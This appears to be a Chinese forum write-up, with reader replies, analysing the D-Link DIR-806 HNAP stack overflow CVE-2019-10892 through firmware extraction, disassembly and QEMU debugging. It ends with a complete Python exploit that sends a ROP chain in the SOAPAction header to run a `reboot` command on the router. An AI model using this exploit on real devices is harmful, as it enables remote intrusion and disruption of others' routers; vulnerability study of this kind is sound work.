首页
社区
课程
招聘
[原创]MIPS缓冲区溢出学习之CVE-2019-10892分析利用
2020-3-9 14:47 15751

[原创]MIPS缓冲区溢出学习之CVE-2019-10892分析利用

2020-3-9 14:47
15751

这个漏洞是dlink提供HTTP服务的cgibin组件中的hnap_main函数的sprintf对字符串长度处理不当造成的缓冲区溢出。以下是分析学习过程,如果错误欢迎指正。

固件下载

固件版本为DIR-806,下载地址:

http://support.dlink.com.cn/ProductInfo.aspx?m=DIR-806

静态分析

下载完成之后,使用binwalk对固件进行分析提取。

binwalk -Me DIR806A1_FW100CNb11.bin

分析./etc/services/HTTP/httpcfg.php可以看出,当请求连接为HNAP1时,程序会执行hnap程序进行解析。

    if ($hnap > 0)
    {
        echo
        "        Control".                            "\n".
        "        {".                                    "\n".
        "            Alias /HNAP1".                    "\n".
        "            Location /htdocs/HNAP1".        "\n".
        "            External".                        "\n".
        "            {".                                "\n".
        "                /usr/sbin/hnap { hnap }".    "\n".
        "            }".                                "\n".
        "            IndexNames { index.hnap }".        "\n".
        "        }".                                    "\n";
    }

查看usr/sbin/hnap正是/htdocs/cgibin的软连接。

➜  squashfs-root ls -la  usr/sbin/hnap
lrwxrwxrwx 1 root root 14 Jan  9 20:57 usr/sbin/hnap -> /htdocs/cgibin

分析/htdocs/cgibin的main函数可知,当接收到hnap类型的请求时,程序会执行hnap_main

 

继续分析hnap_main,可以看到hnap_main中的sprintf处,程序并没有验证$4寄存器的长度,造成漏洞。所以我们可以将传入的数据覆盖掉寄存器$s0-$s7、$ra

.text:00412430  # ---------------------------------------------------------------------------
.text:00412430
.text:00412430 loc_412430:                              # CODE XREF: hnap_main+4C4↑j
.text:00412430                 lui     $a1, 0x42
.text:00412434                 move    $a0, $s4         # s
.text:00412438                 addiu   $a2, (aVarRun_0 - 0x420000)  # "/var/run/"
.text:0041243C                 la      $a1, aShSSShDevConso_0  # "sh %s%s.sh > /dev/console &"
.text:00412440
.text:00412440 loc_412440:                              # CODE XREF: hnap_main+4D8↑j
.text:00412440                 jalr    $t9 ; sprintf

有函数开头可知 栈空间为0x248字节大小。

hnap_main                                       XREF[3]:     Entry Point(*), main:00402fac(j), 
                                                                                          00433b14(*)  
        00411f50 27 bd fd b8     addiu      sp,sp,-0x248
             assume gp = <UNKNOWN>
        00411f54 af bf 02 44     sw         ra,local_4(sp)
        00411f58 af b7 02 40     sw         s7,local_8(sp)
        00411f5c af b6 02 3c     sw         s6,local_c(sp)
        00411f60 af b5 02 38     sw         s5,local_10(sp)
        00411f64 af b4 02 34     sw         s4,local_14(sp)
        00411f68 af b3 02 30     sw         s3,local_18(sp)
        00411f6c af b2 02 2c     sw         s2,local_1c(sp)
        00411f70 af b1 02 28     sw         s1,local_20(sp)
        00411f74 af b0 02 24     sw         s0,local_24(sp)
        00411f78 3c 1c 00 44     lui        gp,0x44

程序返回时:

   0x4124c4 <hnap_main+1396>    lw     $ra, 0x244($sp)
   0x4124c8 <hnap_main+1400>    lw     $s7, 0x240($sp)
   0x4124cc <hnap_main+1404>    lw     $s6, 0x23c($sp)
   0x4124d0 <hnap_main+1408>    lw     $s5, 0x238($sp)
   0x4124d4 <hnap_main+1412>    lw     $s4, 0x234($sp)
   0x4124d8 <hnap_main+1416>    lw     $s3, 0x230($sp)
   0x4124dc <hnap_main+1420>    lw     $s2, 0x22c($sp)
   0x4124e0 <hnap_main+1424>    lw     $s1, 0x228($sp)
   0x4124e4 <hnap_main+1428>    lw     $s0, 0x224($sp)
   0x4124e8 <hnap_main+1432>    jr     $ra

所以我们可以覆盖$sp+0x244的位置,构造ROP。

动态调试

这里使用qemu的用户模式对其进行调试分析。为了编写和操作方便。把命令写到sh脚本中
注意,cgibin程序的hnap_main函数会获取一些变量值进行判断才能到达sprintf处。如下图

主要的环境变量有REQUEST_METHOD、REQUEST_URI等等,因此调试时需要设置些环境变量,绕过判断。

#!/bin/bash

echo "testtest"  | chroot .  ./qemu-mips  -0 "hnap" -E CONTENT_LENGTH=8 -E CONTENT_TYPE="application/x-www-form-urlencoded"  -E REQUEST_METHOD="POST"  -E REQUEST_URI="/HNAP1/" -E REMOTE_ADDR="127.0.0.1" -g 1238 -E HTTP_SOAPACTION="<http://purenetworks.com/HNAP1/GetDeviceSettings/aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac>" ./htdocs/cgibin

使用gdb-multiarch -q ./htdocs/cgibin启动gdb
之后attach上本地的1238端口即可开始调试。

 

当执行完最后一个sprintf时。此时栈空间已经全部被填满:

 

此时执行完sprintf(即我们可控制)的地址是0x76fff298$sp+0x244的地址是0x76fff4bc,之间相差548个字节。

如何构造ROP链?

使用ropper在libc中找到些合适的ROP,准备构造:

0x000384d0: move $a0, $s4; move $t9, $s2; jalr $t9; nop;

栈中被sprintf填充的数据过多,通过计算,存在溢出点的地址应为195+6*4字节处。

如何确定libc基地址?

libc的基地址可以通过启动cgibin的pid,在/proc/PID/maps中查看:(我这里是使用了qume模拟了固件

root@debian-mips:~# cat /proc/1033/maps 
00400000-00415000 r-xp 00000000 08:01 449778     /root/httpd
00424000-00425000 rw-p 00014000 08:01 449778     /root/httpd
00425000-0069b000 rwxp 00000000 00:00 0          [heap]
2aaa8000-2aaad000 r-xp 00000000 08:01 1347726    /lib/ld-uClibc.so.0
2aaad000-2aaae000 rw-p 00000000 00:00 0 
2aabc000-2aabd000 r--p 00004000 08:01 1347726    /lib/ld-uClibc.so.0
2aabd000-2aabe000 rw-p 00005000 08:01 1347726    /lib/ld-uClibc.so.0
2aabe000-2aac1000 r-xp 00000000 08:01 1347727    /lib/libcrypt.so.0
2aac1000-2aad0000 ---p 00000000 00:00 0 
2aad0000-2aad1000 rw-p 00002000 08:01 1347727    /lib/libcrypt.so.0
2aad1000-2aae2000 rw-p 00000000 00:00 0 
2aae2000-2ab42000 r-xp 00000000 08:01 1347730    /lib/libc.so.0     <---
2ab42000-2ab51000 ---p 00000000 00:00 0 
2ab51000-2ab52000 r--p 0005f000 08:01 1347730    /lib/libc.so.0
2ab52000-2ab53000 rw-p 00060000 08:01 1347730    /lib/libc.so.0
2ab53000-2ab58000 rw-p 00000000 00:00 0 
2ab58000-2ab6a000 r-xp 00000000 08:01 1346441    /lib/libgcc_s.so.1
2ab6a000-2ab7a000 ---p 00000000 00:00 0 
2ab7a000-2ab7b000 rw-p 00012000 08:01 1346441    /lib/libgcc_s.so.1
7f84c000-7f861000 rwxp 00000000 00:00 0          [stack]

最终exp如下:

from pwn import *
import requests
import sys
def get_payload():
  cmd="`reboot`".ljust(30,"a")
  libc_addr=0x2aae2000
  payload="<http://purenetworks.com/HNAP1/GetDeviceSettings/>"     
  payload+="a"*195
  payload+="aaaa"*2
  payload+=p32(libc_addr+0x52510,endian="big")#s2
  payload+="aaaa"*3
  payload+=p32(libc_addr+0x384d0,endian="big")#s6
  payload+="aaaa"
  payload+=p32(libc_addr+0x0F5B4,endian="big")#ra
  payload+="aaaa"*4
  payload+=cmd
  return payload
data="ttt"

if __name__=="__main__":
    fake_cmd=get_payload()
    header = {
        'SOAPAction' : fake_cmd,
        'Cookie'        : "uid=UUzkPysdIW",
        'Content-Type'  : 'text/xml',
        'Content-Length': str(len(data))
        }
    url="<http://192.168.0.1/HNAP1/>"
    r=requests.post(url=url,headers=header,data=data)
    log.info("Success")

Ref

https://github.com/Kirin-say/Vulnerabilities/blob/master/DIR-806_Stack_Overflow_to_Run_Shellcode.md


[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
点赞5
打赏
分享
最新回复 (10)
雪    币: 205
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
lifISH3rUPUP 2020-3-9 14:58
2
0
雪    币: 18867
活跃值: (60313)
能力值: (RANK:125 )
在线值:
发帖
回帖
粉丝
Editor 2020-3-12 14:39
3
0
感谢分享~
雪    币: 7076
活跃值: (3468)
能力值: ( LV12,RANK:340 )
在线值:
发帖
回帖
粉丝
bxc 6 2020-3-13 08:47
4
0
厉害!!
雪    币: 16156
活跃值: (5966)
能力值: ( LV13,RANK:861 )
在线值:
发帖
回帖
粉丝
大帅锅 4 2020-3-13 15:54
5
0
雪    币: 8746
活跃值: (2689)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
obabydbg 2 2020-3-13 19:16
6
0
雪    币: 22
活跃值: (59)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
qingxp 2020-3-25 18:42
7
0
“到ra之间相差548个字节。通过计算,存在溢出点的地址应为195+6*4字节处。”这里的195+6*4的计算没太看明白
雪    币: 619
活跃值: (351)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
lyadrum 2020-3-26 08:46
8
0
qingxp “到ra之间相差548个字节。通过计算,存在溢出点的地址应为195+6*4字节处。”这里的195+6*4的计算没太看明白
栈中被sprintf填充的数据有很多,可以调试定位下覆盖ra寄存器的位置,就可以算出来了
雪    币: 2582
活跃值: (1320)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
张公子T40 2020-7-22 16:07
9
0

请问调用gdb-multiarch的时候显示这样的信息正常吗?

ubuntu@ubuntu:~/Study/wll/_DIR806A1_FW100CNb11.bin.extracted/squashfs-root$ sudo gdb-multiarch -q ./htdocs/cgibin
pwndbg: loaded 179 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./htdocs/cgibin...(no debugging symbols found)...done.


然后流程上我按照步骤运行了shell脚本,应该是正常运行cgibin了,然后运行gdb,这些是在虚拟机里做的。

再然后我用ida远程attach了那个端口的gdb,也显示了正常界面,但是在ida加断点调试的时候,pwndbg那里没有任何反应,这是怎么回事呢?


望解答~

雪    币: 619
活跃值: (351)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
lyadrum 2020-8-4 16:51
10
0
显示这些信息是正常的,“在ida加断点调试的时候,pwndbg那里没有任何反应”ida和gdb都是调试器,在ida中调试,怎么会在gdb中显示呢
雪    币: 201
活跃值: (177)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
子曰小玖 2020-9-2 10:20
11
0

我去按照流程跑一遍,嘿嘿

最后于 2020-9-2 10:21 被子曰小玖编辑 ,原因:
游客
登录 | 注册 方可回帖
返回